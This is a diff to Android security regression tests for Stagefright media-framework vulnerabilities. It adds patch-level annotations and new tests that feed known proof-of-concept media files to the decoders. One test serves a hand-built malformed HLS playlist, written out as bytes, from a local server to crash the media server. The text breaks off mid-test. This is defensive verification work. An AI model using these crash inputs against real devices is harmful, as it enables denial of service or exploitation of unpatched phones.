public void testStagefright_cve_2015_3836() throws Exception {
doStagefrightTest(R.raw.cve_2015_3836);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-01")
public void testStagefright_cve_2015_3864() throws Exception {
doStagefrightTest(R.raw.cve_2015_3864);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-01")
public void testStagefright_cve_2015_3864_b23034759() throws Exception {
doStagefrightTest(R.raw.cve_2015_3864_b23034759);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-10")
public void testStagefright_cve_2015_6598() throws Exception {
doStagefrightTest(R.raw.cve_2015_6598);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-12")
public void testStagefright_cve_2016_6766() throws Exception {
doStagefrightTest(R.raw.cve_2016_6766);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-04")
public void testStagefright_bug_26366256() throws Exception {
doStagefrightTest(R.raw.bug_26366256);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-02")
public void testStagefright_cve_2016_2429_b_27211885() throws Exception {
doStagefrightTest(R.raw.cve_2016_2429_b_27211885,
new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-08")
public void testStagefright_bug_34031018() throws Exception {
doStagefrightTest(R.raw.bug_34031018_32bit, new CrashUtils.Config().checkMinAddress(false));
doStagefrightTest(R.raw.bug_34031018_64bit, new CrashUtils.Config().checkMinAddress(false));
@@ -266,33 +331,39 @@
before any existing test methods
***********************************************************/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2018-01")
public void testStagefright_bug_65123471() throws Exception {
doStagefrightTest(R.raw.bug_65123471);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2018-04")
public void testStagefright_bug_72165027() throws Exception {
doStagefrightTest(R.raw.bug_72165027);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2018-06")
public void testStagefright_bug_65483665() throws Exception {
doStagefrightTest(R.raw.bug_65483665);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2018-01")
public void testStagefright_cve_2017_0852_b_62815506() throws Exception {
doStagefrightTest(R.raw.cve_2017_0852_b_62815506,
new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2018-02")
public void testStagefright_cve_2017_13229() throws Exception {
doStagefrightTest(R.raw.cve_2017_13229);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-09")
public void testStagefright_cve_2017_0763() throws Exception {
doStagefrightTest(R.raw.cve_2017_0763);
}
@@ -302,436 +373,585 @@
before any existing test methods
***********************************************************/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2018-06")
public void testBug_73965890() throws Exception {
int[] frameSizes = getFrameSizes(R.raw.bug_73965890_framelen);
doStagefrightTestRawBlob(R.raw.bug_73965890_hevc, "video/hevc", 320, 240, frameSizes);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-10")
public void testStagefright_cve_2016_3920() throws Exception {
doStagefrightTest(R.raw.cve_2016_3920, new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
- public void testStagefright_bug_68953854() throws Exception {
- doStagefrightTest(R.raw.bug_68953854, 1 * 60 * 1000);
- }
-
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-09")
public void testStagefright_bug_38448381() throws Exception {
doStagefrightTest(R.raw.bug_38448381);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-08")
public void testStagefright_cve_2016_3821() throws Exception {
doStagefrightTest(R.raw.cve_2016_3821, new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2018-04")
public void testStagefright_bug_70897454() throws Exception {
doStagefrightTestRawBlob(R.raw.b70897454_avc, "video/avc", 320, 420);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-07")
public void testStagefright_cve_2016_3742_b_28165659() throws Exception {
doStagefrightTest(R.raw.cve_2016_3742_b_28165659);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-05")
public void testStagefright_bug_35039946() throws Exception {
doStagefrightTestRawBlob(R.raw.bug_35039946_hevc, "video/hevc", 320, 420);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-09")
public void testStagefright_bug_38115076() throws Exception {
doStagefrightTest(R.raw.bug_38115076, new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-05")
public void testStagefright_bug_34618607() throws Exception {
doStagefrightTest(R.raw.bug_34618607, new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2018-02")
public void testStagefright_bug_69478425() throws Exception {
doStagefrightTest(R.raw.bug_69478425);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2018-01")
public void testStagefright_bug_65735716() throws Exception {
doStagefrightTestRawBlob(R.raw.bug_65735716_avc, "video/avc", 320, 240);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-12")
public void testStagefright_bug_65717533() throws Exception {
doStagefrightTest(R.raw.bug_65717533_header_corrupt);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-08")
public void testStagefright_bug_38239864() throws Exception {
doStagefrightTest(R.raw.bug_38239864, (4 * 60 * 1000));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-05")
public void testStagefright_cve_2017_0600() throws Exception {
doStagefrightTest(R.raw.cve_2017_0600, new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-08")
public void testBug_38014992() throws Exception {
int[] frameSizes = getFrameSizes(R.raw.bug_38014992_framelen);
doStagefrightTestRawBlob(R.raw.bug_38014992_avc, "video/avc", 640, 480, frameSizes,
new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-07")
public void testBug_35584425() throws Exception {
int[] frameSizes = getFrameSizes(R.raw.bug_35584425_framelen);
doStagefrightTestRawBlob(R.raw.bug_35584425_avc, "video/avc", 352, 288, frameSizes);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-11")
public void testBug_31092462() throws Exception {
int[] frameSizes = getFrameSizes(R.raw.bug_31092462_framelen);
doStagefrightTestRawBlob(R.raw.bug_31092462_avc, "video/avc", 1280, 1024, frameSizes);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-04")
public void testBug_34097866() throws Exception {
int[] frameSizes = getFrameSizes(R.raw.bug_34097866_frame_len);
doStagefrightTestRawBlob(R.raw.bug_34097866_avc, "video/avc", 352, 288, frameSizes);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-03")
public void testBug_33862021() throws Exception {
int[] frameSizes = getFrameSizes(R.raw.bug_33862021_frame_len);
doStagefrightTestRawBlob(R.raw.bug_33862021_hevc, "video/hevc", 160, 96, frameSizes);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-03")
public void testBug_33387820() throws Exception {
int[] frameSizes = {45, 3202, 430, 2526};
doStagefrightTestRawBlob(R.raw.bug_33387820_avc, "video/avc", 320, 240, frameSizes,
new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-07")
public void testBug_37008096() throws Exception {
int[] frameSizes = {245, 12, 33, 140, 164};
doStagefrightTestRawBlob(R.raw.bug_37008096_avc, "video/avc", 320, 240, frameSizes);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-07")
public void testStagefright_bug_34231163() throws Exception {
int[] frameSizes = {22, 357, 217, 293, 175};
doStagefrightTestRawBlob(R.raw.bug_34231163_mpeg2, "video/mpeg2", 320, 240, frameSizes);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-04")
public void testStagefright_bug_33933140() throws Exception {
int[] frameSizes = getFrameSizes(R.raw.bug_33933140_framelen);
doStagefrightTestRawBlob(R.raw.bug_33933140_avc, "video/avc", 320, 240, frameSizes);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-04")
public void testStagefright_bug_34097915() throws Exception {
int[] frameSizes = {4140, 593, 0, 15495};
doStagefrightTestRawBlob(R.raw.bug_34097915_avc, "video/avc", 320, 240, frameSizes);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-03")
public void testStagefright_bug_34097213() throws Exception {
int[] frameSizes = {2571, 210, 33858};
doStagefrightTestRawBlob(R.raw.bug_34097213_avc, "video/avc", 320, 240, frameSizes);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-08")
public void testBug_28816956() throws Exception {
int[] frameSizes = getFrameSizes(R.raw.bug_28816956_framelen);
- doStagefrightTestRawBlob(R.raw.bug_28816956_hevc, "video/hevc", 352, 288, frameSizes,
- new CrashUtils.Config().checkMinAddress(false));
+ doStagefrightTestRawBlob(
+ R.raw.bug_28816956_hevc, "video/hevc", 352, 288, frameSizes,
+ new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-03")
public void testBug_33818500() throws Exception {
int[] frameSizes = getFrameSizes(R.raw.bug_33818500_framelen);
doStagefrightTestRawBlob(R.raw.bug_33818500_avc, "video/avc", 64, 32, frameSizes,
new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2018-01")
public void testBug_64784973() throws Exception {
int[] frameSizes = getFrameSizes(R.raw.bug_64784973_framelen);
doStagefrightTestRawBlob(R.raw.bug_64784973_hevc, "video/hevc", 1280, 720, frameSizes);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-07")
public void testBug_34231231() throws Exception {
int[] frameSizes = getFrameSizes(R.raw.bug_34231231_framelen);
doStagefrightTestRawBlob(R.raw.bug_34231231_mpeg2, "video/mpeg2", 352, 288, frameSizes);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-10")
public void testBug_63045918() throws Exception {
int[] frameSizes = getFrameSizes(R.raw.bug_63045918_framelen);
doStagefrightTestRawBlob(R.raw.bug_63045918_hevc, "video/hevc", 352, 288, frameSizes);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-03")
public void testBug_33298089() throws Exception {
int[] frameSizes = {3247, 430, 221, 2305};
doStagefrightTestRawBlob(R.raw.bug_33298089_avc, "video/avc", 32, 64, frameSizes);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-05")
public void testStagefright_cve_2017_0599() throws Exception {
doStagefrightTest(R.raw.cve_2017_0599, new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-09")
public void testStagefright_bug_36492741() throws Exception {
doStagefrightTest(R.raw.bug_36492741);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-08")
public void testStagefright_bug_38487564() throws Exception {
doStagefrightTest(R.raw.bug_38487564, (4 * 60 * 1000));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-09")
public void testStagefright_bug_37237396() throws Exception {
doStagefrightTest(R.raw.bug_37237396);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-09")
public void testStagefright_cve_2016_0842() throws Exception {
doStagefrightTest(R.raw.cve_2016_0842);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-11")
public void testStagefright_bug_63121644() throws Exception {
doStagefrightTest(R.raw.bug_63121644);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-09")
public void testStagefright_cve_2016_6712() throws Exception {
doStagefrightTest(R.raw.cve_2016_6712, new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-04")
public void testStagefright_bug_34097231() throws Exception {
doStagefrightTestRawBlob(R.raw.bug_34097231_avc, "video/avc", 320, 240);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-05")
public void testStagefright_bug_34097672() throws Exception {
doStagefrightTest(R.raw.bug_34097672);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-03")
public void testStagefright_bug_33751193() throws Exception {
doStagefrightTestRawBlob(R.raw.bug_33751193_avc, "video/avc", 320, 240);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-07")
public void testBug_36993291() throws Exception {
doStagefrightTestRawBlob(R.raw.bug_36993291_avc, "video/avc", 320, 240);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-06")
public void testStagefright_bug_33818508() throws Exception {
doStagefrightTest(R.raw.bug_33818508, new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-08")
public void testStagefright_bug_32873375() throws Exception {
doStagefrightTest(R.raw.bug_32873375, new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2018-02")
+ public void testStagefright_bug_63522067() throws Exception {
+ doStagefrightTestRawBlob(R.raw.bug_63522067_1_hevc, "video/hevc", 320, 420);
+ doStagefrightTestRawBlob(R.raw.bug_63522067_2_hevc, "video/hevc", 320, 420);
+ doStagefrightTestRawBlob(R.raw.bug_63522067_3_hevc, "video/hevc", 320, 420);
+ doStagefrightTestRawBlob(R.raw.bug_63522067_4_hevc, "video/hevc", 320, 420);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2016-03")
public void testStagefright_bug_25765591() throws Exception {
doStagefrightTest(R.raw.bug_25765591);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-09")
public void testStagefright_bug_62673179() throws Exception {
doStagefrightTest(R.raw.bug_62673179_ts, (4 * 60 * 1000));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2018-03")
public void testStagefright_bug_69269702() throws Exception {
doStagefrightTest(R.raw.bug_69269702);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-10")
public void testStagefright_cve_2015_3867() throws Exception {
doStagefrightTest(R.raw.cve_2015_3867);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2018-01")
public void testStagefright_bug_65398821() throws Exception {
doStagefrightTest(R.raw.bug_65398821, ( 4 * 60 * 1000 ) );
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-10")
public void testStagefright_cve_2015_3869() throws Exception {
doStagefrightTest(R.raw.cve_2015_3869);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-03")
public void testStagefright_bug_23452792() throws Exception {
doStagefrightTest(R.raw.bug_23452792);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-08")
public void testStagefright_cve_2016_3820() throws Exception {
doStagefrightTest(R.raw.cve_2016_3820);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-07")
public void testStagefright_cve_2016_3741() throws Exception {
doStagefrightTest(R.raw.cve_2016_3741);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-07")
public void testStagefright_cve_2016_2506() throws Exception {
doStagefrightTest(R.raw.cve_2016_2506);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-06")
public void testStagefright_cve_2016_2428() throws Exception {
doStagefrightTest(R.raw.cve_2016_2428, new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-07")
+ public void testStagefright_cve_2016_3756() throws Exception {
+ doStagefrightTest(R.raw.cve_2016_3756);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2017-07")
+ public void testStagefright_bug_36592202() throws Exception {
+ Resources resources = getInstrumentation().getContext().getResources();
+ AssetFileDescriptor fd = resources.openRawResourceFd(R.raw.bug_36592202);
+ final int oggPageSize = 25627;
+ byte [] blob = new byte[oggPageSize];
+ // 127 bytes read and 25500 zeros constitute one Ogg page
+ FileInputStream fis = fd.createInputStream();
+ int numRead = fis.read(blob);
+ fis.close();
+ // Creating temp file
+ final File tempFile = File.createTempFile("poc_tmp", ".ogg", null);
+ try {
+ final FileOutputStream tempFos = new FileOutputStream(tempFile.getAbsolutePath());
+ int bytesWritten = 0;
+ final long oggPagesRequired = 50000;
+ long oggPagesAvailable = tempFile.getUsableSpace() / oggPageSize;
+ long numOggPages = Math.min(oggPagesRequired, oggPagesAvailable);
+ // Repeat data for specified number of pages
+ for (int i = 0; i < numOggPages; i++) {
+ tempFos.write(blob);
+ bytesWritten += oggPageSize;
+ }
+ tempFos.close();
+ final int fileSize = bytesWritten;
+ final int timeout = (10 * 60 * 1000);
+ runWithTimeout(new Runnable() {
+ @Override
+ public void run() {
+ try {
+ doStagefrightTestMediaCodec(tempFile.getAbsolutePath(),
+ new CrashUtils.Config().checkMinAddress(false));
+ } catch (Exception | AssertionError e) {
+ if (!tempFile.delete()) {
+ Log.e(TAG, "Failed to delete temporary PoC file");
+ }
+ fail("Operation was not successful");
+ }
+ }
+ }, timeout);
+ } catch (Exception e) {
+ fail("Failed to test b/36592202");
+ } finally {
+ if (!tempFile.delete()) {
+ Log.e(TAG, "Failed to delete temporary PoC file");
+ }
+ }
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2016-11")
public void testStagefright_bug_30822755() throws Exception {
doStagefrightTest(R.raw.bug_30822755);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-06")
public void testStagefright_bug_32322258() throws Exception {
doStagefrightTest(R.raw.bug_32322258, new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-10")
public void testStagefright_cve_2015_3873_b_23248776() throws Exception {
doStagefrightTest(R.raw.cve_2015_3873_b_23248776);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-06")
public void testStagefright_bug_35472997() throws Exception {
doStagefrightTest(R.raw.bug_35472997);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-10")
public void testStagefright_cve_2015_3873_b_20718524() throws Exception {
doStagefrightTest(R.raw.cve_2015_3873_b_20718524);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-07")
public void testStagefright_bug_34896431() throws Exception {
doStagefrightTest(R.raw.bug_34896431);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-04")
public void testBug_33641588() throws Exception {
doStagefrightTestRawBlob(R.raw.bug_33641588_avc, "video/avc", 320, 240);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-10")
public void testStagefright_cve_2015_3862_b_22954006() throws Exception {
doStagefrightTest(R.raw.cve_2015_3862_b_22954006,
new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-10")
public void testStagefright_cve_2015_3867_b_23213430() throws Exception {
doStagefrightTest(R.raw.cve_2015_3867_b_23213430);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-10")
public void testStagefright_cve_2015_3873_b_21814993() throws Exception {
doStagefrightTest(R.raw.cve_2015_3873_b_21814993);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-04")
public void testStagefright_bug_25812590() throws Exception {
doStagefrightTest(R.raw.bug_25812590);
}
+ @Test
+ @SecurityTest(minPatchLevel = "2015-10")
public void testStagefright_cve_2015_6600() throws Exception {
doStagefrightTest(R.raw.cve_2015_6600);
}
+ @Test
+ @SecurityTest(minPatchLevel = "2015-10")
public void testStagefright_cve_2015_6603() throws Exception {
doStagefrightTest(R.raw.cve_2015_6603);
}
+ @Test
+ @SecurityTest(minPatchLevel = "2015-10")
public void testStagefright_cve_2015_6604() throws Exception {
doStagefrightTest(R.raw.cve_2015_6604);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-12")
public void testStagefright_bug_24157524() throws Exception {
- doStagefrightTest(R.raw.bug_24157524);
+ doStagefrightTestMediaCodec(R.raw.bug_24157524);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-10")
public void testStagefright_cve_2015_3871() throws Exception {
doStagefrightTest(R.raw.cve_2015_3871);
}
+ @Test
+ @SecurityTest(minPatchLevel = "2016-04")
public void testStagefright_bug_26070014() throws Exception {
doStagefrightTest(R.raw.bug_26070014);
}
+ @Test
+ @SecurityTest(minPatchLevel = "2017-03")
public void testStagefright_bug_32915871() throws Exception {
doStagefrightTest(R.raw.bug_32915871);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-07")
public void testStagefright_bug_28333006() throws Exception {
doStagefrightTest(R.raw.bug_28333006);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-11")
public void testStagefright_bug_14388161() throws Exception {
doStagefrightTestMediaPlayer(R.raw.bug_14388161);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-07")
public void testStagefright_cve_2016_3755() throws Exception {
doStagefrightTest(R.raw.cve_2016_3755, new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-09")
public void testStagefright_cve_2016_3878_b_29493002() throws Exception {
doStagefrightTest(R.raw.cve_2016_3878_b_29493002,
new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-08")
public void testBug_36819262() throws Exception {
doStagefrightTestRawBlob(R.raw.bug_36819262_mpeg2, "video/mpeg2", 640, 480);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-11")
public void testStagefright_cve_2015_6608_b_23680780() throws Exception {
doStagefrightTest(R.raw.cve_2015_6608_b_23680780);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-09")
public void testStagefright_bug_36715268() throws Exception {
doStagefrightTest(R.raw.bug_36715268);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-06")
public void testStagefright_bug_27855419_CVE_2016_2463() throws Exception {
doStagefrightTest(R.raw.bug_27855419, new CrashUtils.Config().checkMinAddress(false));
}
+ @Test
+ @SecurityTest(minPatchLevel = "2015-11")
public void testStagefright_bug_19779574() throws Exception {
doStagefrightTest(R.raw.bug_19779574, new CrashUtils.Config().checkMinAddress(false));
}
@@ -741,38 +961,289 @@
before any existing test methods
***********************************************************/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-03")
+ public void testBug_33090864() throws Exception {
+ int[] frameSizes = getFrameSizes(R.raw.bug_33090864_framelen);
+ doStagefrightTestRawBlob(R.raw.bug_33090864_avc, "video/avc", 320, 240, frameSizes);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2017-07")
+ public void testStagefright_bug_36279112() throws Exception {
+ doStagefrightTest(R.raw.bug_36279112, new CrashUtils.Config().checkMinAddress(false));
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2017-06")
+ public void testStagefright_cve_2017_0640() throws Exception {
+ int[] frameSizes = {21, 4};
+ doStagefrightTestRawBlob(R.raw.cve_2017_0640_avc, "video/avc", 640, 480,
+ frameSizes);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2017-08")
+ public void testBug_37203196() throws Exception {
+ int[] frameSizes = getFrameSizes(R.raw.bug_37203196_framelen);
+ doStagefrightTestRawBlob(R.raw.bug_37203196_mpeg2, "video/mpeg2", 48, 48, frameSizes);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-06")
public void testBug_73552574() throws Exception {
int[] frameSizes = getFrameSizes(R.raw.bug_73552574_framelen);
doStagefrightTestRawBlob(R.raw.bug_73552574_avc, "video/avc", 320, 240, frameSizes);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2015-09")
+ public void testStagefright_bug_23285192() throws Exception {
+ doStagefrightTest(R.raw.bug_23285192);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2016-03")
+ public void testStagefright_bug_25928803() throws Exception {
+ doStagefrightTest(R.raw.bug_25928803);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2016-04")
+ public void testBug_26399350() throws Exception {
+ int[] frameSizes = {657, 54930};
+ doStagefrightTestRawBlob(R.raw.bug_26399350_avc, "video/avc", 640, 480,
+ frameSizes);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-12")
+ public void testBug_113260892() throws Exception {
+ doStagefrightTestRawBlob(R.raw.bug_113260892_hevc, "video/hevc", 320, 240);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-02")
+ public void testStagefright_bug_68342866() throws Exception {
+ Thread server = new Thread() {
+ @Override
+ public void run() {
+ try (ServerSocket serverSocket = new ServerSocket(8080) {
+ {setSoTimeout(10_000);} // time out after 10 seconds
+ };
+ Socket conn = serverSocket.accept();
+ ) {
+ OutputStream outputstream = conn.getOutputStream();
+ InputStream inputStream = conn.getInputStream();
+ byte input[] = new byte[65536];
+ inputStream.read(input, 0, 65536);
+ String inputStr = new String(input);
+ if (inputStr.contains("bug_68342866.m3u8")) {
+ byte http[] = ("HTTP/1.0 200 OK\r\nContent-Type: application/x-mpegURL\r\n\r\n")
+ .getBytes();
+ byte playlist[] = new byte[] { 0x23, 0x45, 0x58, 0x54,
+ 0x4D, 0x33, 0x55, 0x0A, 0x23, 0x45, 0x58, 0x54,
+ 0x2D, 0x58, 0x2D, 0x53, 0x54, 0x52, 0x45, 0x41,
+ 0x4D, 0x2D, 0x49, 0x4E, 0x46, 0x46, 0x43, 0x23,
+ 0x45, 0x3A, 0x54, 0x42, 0x00, 0x00, 0x00, 0x0A,
+ 0x00, 0x00, 0x00, 0x00, 0x00, (byte) 0xFF,
+ (byte) 0xFF, (byte) 0xFF, (byte) 0xFF,
+ (byte) 0xFF, (byte) 0xFF, 0x3F, 0x2C, 0x4E,
+ 0x46, 0x00, 0x00 };
+ outputstream.write(http);
+ outputstream.write(playlist);
+ }
+ } catch (IOException e) {
+ }
+ }
+ };
+ server.start();
+ String uri = "http://127.0.0.1:8080/bug_68342866.m3u8";
+ final MediaPlayerCrashListener mpcl =
+ new MediaPlayerCrashListener(new CrashUtils.Config().checkMinAddress(false));
+ LooperThread t = new LooperThread(new Runnable() {
+ @Override
+ public void run() {
+ MediaPlayer mp = new MediaPlayer();
+ mp.setOnErrorListener(mpcl);
+ mp.setOnPreparedListener(mpcl);
+ mp.setOnCompletionListener(mpcl);
+ Surface surface = getDummySurface();
+ mp.setSurface(surface);
+ AssetFileDescriptor fd = null;
+ try {
+ mp.setDataSource(uri);
+ mp.prepareAsync();
+ } catch (IOException e) {
+ Log.e(TAG, e.toString());
+ } finally {
+ closeQuietly(fd);
+ }
+ Looper.loop();
+ mp.release();
+ }
+ });
+ t.start();
+ assertFalse("Device *IS* vulnerable to BUG-68342866",
+ mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+ t.stopLooper();
+ t.join();
+ server.join();
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-05")
+ public void testStagefright_bug_74114680() throws Exception {
+ doStagefrightTest(R.raw.bug_74114680_ts, (10 * 60 * 1000));
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-03")
+ public void testStagefright_bug_70239507() throws Exception {
+ doStagefrightTestExtractorSeek(R.raw.bug_70239507,1311768465173141112L);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2017-03")
+ public void testBug_33250932() throws Exception {
+ int[] frameSizes = {65, 11, 102, 414};
+ doStagefrightTestRawBlob(R.raw.bug_33250932_avc, "video/avc", 640, 480, frameSizes);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2017-08")
+ public void testStagefright_bug_37430213() throws Exception {
+ doStagefrightTest(R.raw.bug_37430213);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-11")
+ public void testStagefright_bug_68664359() throws Exception {
+ doStagefrightTest(R.raw.bug_68664359, 60000);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-11")
+ public void testStagefright_bug_110435401() throws Exception {
+ doStagefrightTest(R.raw.bug_110435401, 60000);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2017-03")
public void testStagefright_cve_2017_0474() throws Exception {
doStagefrightTest(R.raw.cve_2017_0474, 120000);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-09")
public void testStagefright_cve_2017_0765() throws Exception {
doStagefrightTest(R.raw.cve_2017_0765);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2018-04")
+ public void testStagefright_cve_2017_13279() throws Exception {
+ Thread server = new Thread() {
+ @Override
+ public void run(){
+ try (ServerSocket serverSocket = new ServerSocket(8080) {
+ {setSoTimeout(10_000);} // time out after 10 seconds
+ };
+ Socket conn = serverSocket.accept()
+ ) {
+ OutputStream stream = conn.getOutputStream();
+ byte http[] = ("HTTP/1.0 200 OK\r\nContent-Type: application/x-mpegURL\r\n\r\n"
